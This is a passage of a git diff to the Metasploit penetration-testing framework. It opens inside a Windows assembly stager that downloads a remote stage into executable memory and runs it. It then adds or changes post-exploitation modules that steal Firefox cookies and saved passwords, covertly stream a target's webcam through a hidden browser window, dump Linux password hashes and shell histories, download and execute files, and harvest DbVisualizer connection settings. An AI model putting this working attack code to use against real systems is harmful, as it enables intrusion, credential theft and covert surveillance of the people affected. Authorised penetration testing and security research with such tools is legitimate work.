base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + +; actual routine +start: + pop ebp ; get ptr to block_api routine + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{uri.port} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz allocate_memory + +try_it_again: + dec ebx + jz failure + jmp.i8 httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + call internetconnect + +server_host: +db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00 + +EOS + self.module_info['Stager']['Assembly'] = payload_data.to_s + super + end +end diff --git a/modules/payloads/stagers/windows/reverse_ipv6_http.rb b/modules/payloads/stagers/windows/reverse_ipv6_http.rb index d4dd790a69..1a1afd3dfa 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_http.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_http.rb @@ -6,12 +6,16 @@ require 'msf/core' require 'msf/core/handler/reverse_ipv6_http' - +require 'msf/core/module/deprecated' module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Windows + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 7, 30) + DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https' def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/windows/reverse_ipv6_https.rb b/modules/payloads/stagers/windows/reverse_ipv6_https.rb index fd0206c91c..f2c7c3e40a 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_https.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_https.rb @@ -3,13 +3,19 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + require 'msf/core' require 'msf/core/handler/reverse_ipv6_https' +require 'msf/core/module/deprecated' module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Windows + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 7, 30) + DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https' def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 63fce13671..0f0118ae68 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -8,19 +8,25 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' - module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python', - 'Author' => ['Spencer McIntyre'], + 'Description' => %q{ + Run a meterpreter server in Python. Supported Python versions + are 2.5 - 2.7 and 3.1 - 3.4. + }, + 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + register_advanced_options([ + OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ]) + ], self.class) end def generate_stage @@ -29,6 +35,11 @@ module Metasploit3 met = File.open(file, "rb") {|f| f.read(f.stat.size) } + + if datastore['DEBUGGING'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + met end end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 9924e2b125..d2a3344bbe 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -39,7 +39,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index ffe0e37c5d..cf1232e3ea 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index fa5aa63801..8065881a67 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -34,7 +34,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) + MeterpreterBinaries.path('metsrv','x64.dll') end end diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb index ce6c5a69e7..18cefbef6f 100644 --- a/modules/post/firefox/gather/cookies.rb +++ b/modules/post/firefox/gather/cookies.rb @@ -5,11 +5,9 @@ require 'json' require 'msf/core' -require 'msf/core/payload/firefox' class Metasploit3 < Msf::Post - include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info={}) @@ -29,12 +27,14 @@ class Metasploit3 < Msf::Post end def run - print_status "Running the privileged javascript..." - session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) + results = js_exec(js_payload) if results.present? begin cookies = JSON.parse(results) + cookies.each do |entry| + entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } + end + file = store_loot("firefox.cookies.json", "text/json", rhost, results) print_good("Saved #{cookies.length} cookies to #{file}") rescue JSON::ParserError => e @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Post %Q| (function(send){ try { + var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa; var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] .getService(Components.interfaces.nsICookieManager); var cookies = []; @@ -54,7 +55,7 @@ class Metasploit3 < Msf::Post while (iter.hasMoreElements()){ var cookie = iter.getNext(); if (cookie instanceof Components.interfaces.nsICookie){ - cookies.push({host:cookie.host, name:cookie.name, value:cookie.value}) + cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)}) } } send(JSON.stringify(cookies)); diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb index 75808963c0..1db4ed7993 100644 --- a/modules/post/firefox/gather/history.rb +++ b/modules/post/firefox/gather/history.rb @@ -5,11 +5,9 @@ require 'json' require 'msf/core' -require 'msf/core/payload/firefox' class Metasploit3 < Msf::Post - include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info={}) @@ -30,9 +28,7 @@ class Metasploit3 < Msf::Post end def run - print_status "Running the privileged javascript..." - session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) + results = js_exec(js_payload) if results.present? begin history = JSON.parse(results) diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb index d3db014177..819ac3c81b 100644 --- a/modules/post/firefox/gather/passwords.rb +++ b/modules/post/firefox/gather/passwords.rb @@ -29,9 +29,7 @@ class Metasploit3 < Msf::Post end def run - print_status "Running the privileged javascript..." - session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) + results = js_exec(js_payload) if results.present? begin passwords = JSON.parse(results) @@ -39,8 +37,12 @@ class Metasploit3 < Msf::Post entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } end - file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) - print_good("Saved #{passwords.length} passwords to #{file}") + if passwords.length > 0 + file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) + print_good("Saved #{passwords.length} passwords to #{file}") + else + print_warning("No passwords were found in Firefox.") + end rescue JSON::ParserError => e print_warning(results) end diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index 4d2e960e69..63049a2a7b 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -10,6 +10,7 @@ require 'msf/core/payload/firefox' class Metasploit3 < Msf::Post include Msf::Payload::Firefox + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info={}) super(update_info(info, @@ -36,9 +37,7 @@ class Metasploit3 < Msf::Post end def run - session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) - + results = js_exec(js_payload) if results.present? print_good results else diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb new file mode 100644 index 0000000000..c6e5bd8a58 --- /dev/null +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Post::WebRTC + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell', + 'Description' => %q{ + This module allows streaming a webcam from a privileged Firefox Javascript shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'References' => [ + [ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ] + ], + 'DisclosureDate' => 'May 13 2014' + )) + + register_options([ + OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]), + OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]), + OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]), + OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80']) + ], self.class) + end + + def run + unless os_check + print_error "Windows versions of Firefox are not supported at this time [RM #8810]." + return + end + + server = datastore['ICESERVER'] + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + result = js_exec(js_payload(server, offerer_id, channel)) + + if datastore['CLOSE'] + print_status "Stream closed." + else + if result.present? + print_status result + connect_video_chat(server, channel, offerer_id) + else + print_warning "No response received" + end + end + end + + def os_check + user_agent = js_exec(%Q| + return Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + |) + user_agent !~ /windows/i + end + + def js_payload(server, offerer_id, channel) + interface = load_interface('offerer.html') + api = load_api_code + + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + if datastore['TIMEOUT'] > 0 + api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); " + end + + url = if datastore['CLOSE'] + '"about:blank"' + else + '"data:text/html;base64,"+html' + end + + name = if datastore['VISIBLE'] + Rex::Text.rand_text_alphanumeric(10) + else + '_self' + end + + %Q| + (function(send){ + try { + + var AppShellService = Components + .classes["@mozilla.org/appshell/appShellService;1"] + .getService(Components.interfaces.nsIAppShellService); + + var html = "#{Rex::Text.encode_base64(interface)}"; + var url = #{url}; + AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600'); + send("Streaming webcam..."); + + } catch (e) { + send(e); + } + })(send); + | + end + +end diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 0b03aef6aa..79d207f473 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post [ 'ohdae <bindshell[at]live.com>', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post configs.each do |f| output = read_file("#{f}") - save(f, output) if output !~ /No such file or directory/ + save(f, output) if output && output !~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 52d0ddfd74..72c0a1554c 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post 'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing 'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index f73d96d916..12747a3b65 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Post [ 'ohdae <bindshell[at]live.com>' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 9c2b676892..f955b4bed7 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -29,8 +29,8 @@ class Metasploit3 < Msf::Post 'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing 'Roberto Espreto <robertoespreto[at]gmail.com>', # log files and setuid/setgid ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index c49f88f58d..77650221b1 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post # based largely on get_bash_history function by Stephen Haywood 'ohdae <bindshell[at]live.com>' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -49,8 +49,8 @@ class Metasploit3 < Msf::Post last = execute("/usr/bin/last && /usr/bin/lastlog") sudoers = cat_file("/etc/sudoers") - save("Last logs", last) - save("Sudoers", sudoers) unless sudoers =~ /Permission denied/ + save("Last logs", last) unless last.nil? + save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/ end def save(msg, data, ctype="text/plain") @@ -96,13 +96,13 @@ class Metasploit3 < Msf::Post hist = cat_file("/home/#{u}/.bash_history") end - save("History for #{u}", hist) unless hist =~ /No such file or directory/ + save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") hist = cat_file("/home/#{user}/.bash_history") vprint_status(hist) - save("History for #{user}", hist) unless hist =~ /No such file or directory/ + save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/ end end @@ -118,19 +118,19 @@ class Metasploit3 < Msf::Post sql_hist = cat_file("/home/#{u}/.mysql_history") end - save("History for #{u}", sql_hist) unless sql_hist =~ /No such file or directory/ + save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end else vprint_status("Extracting SQL history for #{user}") sql_hist = cat_file("/home/#{user}/.mysql_history") - vprint_status(sql_hist) - save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/ + vprint_status(sql_hist) if sql_hist + save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end end def get_vim_history(users, user) if user == "root" and users != nil - users = users.chomp.split() + users = users.chomp.split users.each do |u| if u == "root" vprint_status("Extracting VIM history for #{u}") @@ -140,13 +140,13 @@ class Metasploit3 < Msf::Post vim_hist = cat_file("/home/#{u}/.viminfo") end - save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") vim_hist = cat_file("/home/#{user}/.viminfo") vprint_status(vim_hist) - save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index de2b02fd34..08eb12d8ea 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -20,11 +20,11 @@ class Metasploit3 < Msf::Post .log files. }, 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'linux' ], + 'Author' => ['sinn3r'], + 'Platform' => ['linux'], # linux meterpreter is too busted to support right now, # will come back and add support once it's more usable. - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => ['shell', 'meterpreter'], 'Actions' => [ ['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ], @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post end def whoami - user = cmd_exec("whoami").chomp + user = cmd_exec("/usr/bin/whoami").chomp return user end @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post files.each do |f| vprint_status("#{@peer} - Downloading: #{base + f}") buf = read_file(base + f) - next if buf.empty? + next if buf.blank? config << { :filename => f, :data => buf @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post @peer = "#{session.session_host}:#{session.session_port}" user = whoami - if user.nil? + if user.blank? print_error("#{@peer} - Unable to get username, abort.") return end @@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i - save(:configs, configs) if not configs.empty? - save(:chatlogs, chatlogs) if not chatlogs.empty? + save(:configs, configs) unless configs.empty? + save(:chatlogs, chatlogs) unless chatlogs.empty? end end diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 7c8497bf63..d7534025ec 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -16,11 +16,10 @@ class Metasploit3 < Msf::Post 'Name' => 'Linux Gather Dump Password Hashes for Linux Systems', 'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System}, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) - end # Run Method for when run command is issued @@ -43,11 +42,9 @@ class Metasploit3 < Msf::Post # Save pwd file upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File") print_good("Unshadowed Password File: #{upassf}") - else print_error("You must run this module as root!") end - end def unshadow(pf,sf) @@ -63,6 +60,8 @@ class Metasploit3 < Msf::Post end end end - return unshadowed + + unshadowed end + end diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index d66edf1697..74dee8f557 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', - 'Description' => %q{ - Post Module to obtain credentials saved for mount.cifs/mount.smbfs in - /etc/fstab on a Linux system. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart <jhart[at]spoofed.org>'], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) + 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', + 'Description' => %q{ + Post Module to obtain credentials saved for mount.cifs/mount.smbfs in + /etc/fstab on a Linux system. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart <jhart[at]spoofed.org>'], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index ec4d50729b..a639461250 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -15,24 +15,23 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Linux Manage Download and Execute', 'Description' => %q{ - This module downloads and runs a file with bash. It first tries to uses curl as - its HTTP client and then wget if it's not found. Bash found in the PATH is used to - execute the file. + This module downloads and runs a file with bash. It first tries to uses curl as + its HTTP client and then wget if it's not found. Bash found in the PATH is used + to execute the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joshua D. Abraham <jabra[at]praetorian.com>', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) - end def cmd_exec_vprint(cmd) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb new file mode 100644 index 0000000000..f7a433e4a5 --- /dev/null +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -0,0 +1,290 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather Dbvis Connections Settings', + 'Description' => %q{ + DbVisualizer stores the user database configuration in dbvis.xml. + This module retrieves the connections settings from this file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + + + oldversion = false + + case session.platform + when /linux/ + user = session.shell_command("whoami").chomp + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + if session.type =~ /meterpreter/ + user_profile = session.sys.config.getenv('USERPROFILE') + else + user_profile = cmd_exec("echo %USERPROFILE%").strip + end + dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" + end + + + unless file?(dbvis_file) + # File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + oldversion = true + end + + + print_status("Reading: #{dbvis_file}") + print_line() + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + if oldversion + # Parse old config file + db_table = pareseOldConfigFile(raw_xml) + else + # Parse new config file + db_table = pareseNewConfigFile(raw_xml) + end + + if db_table.rows.empty? + print_status("No database settings found") + else + print_line("\n") + print_line(db_table.to_s) + print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !") + print_line() + # store found databases + p = store_loot( + "dbvis.databases", + "text/csv", + session, + db_table.to_csv, + "dbvis_databases.txt", + "dbvis databases") + print_good("Databases settings stored in: #{p.to_s}") + end + + print_status("Downloading #{dbvis_file}") + p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config") + print_good "dbvis.xml saved to #{p.to_s}" + end + + + # New config file parse function + def pareseNewConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Server", + "Port", + "Database", + "Namespace", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ /<Database id=/ + dbfound = true + elsif line =~ /<\/Database>/ + dbfound = false + if db[:Database].nil? + db[:Database] = ""; + end + if db[:Namespace].nil? + db[:Namespace] = ""; + end + # save + dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /<Type>([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the server + if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i) + db[:Server] = $1 + end + + # get the port + if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i) + db[:Port] = $1 + end + + # get the database + if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i) + db[:Database] = $1 + end + + # get the Namespace + if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i) + db[:Namespace] = $1 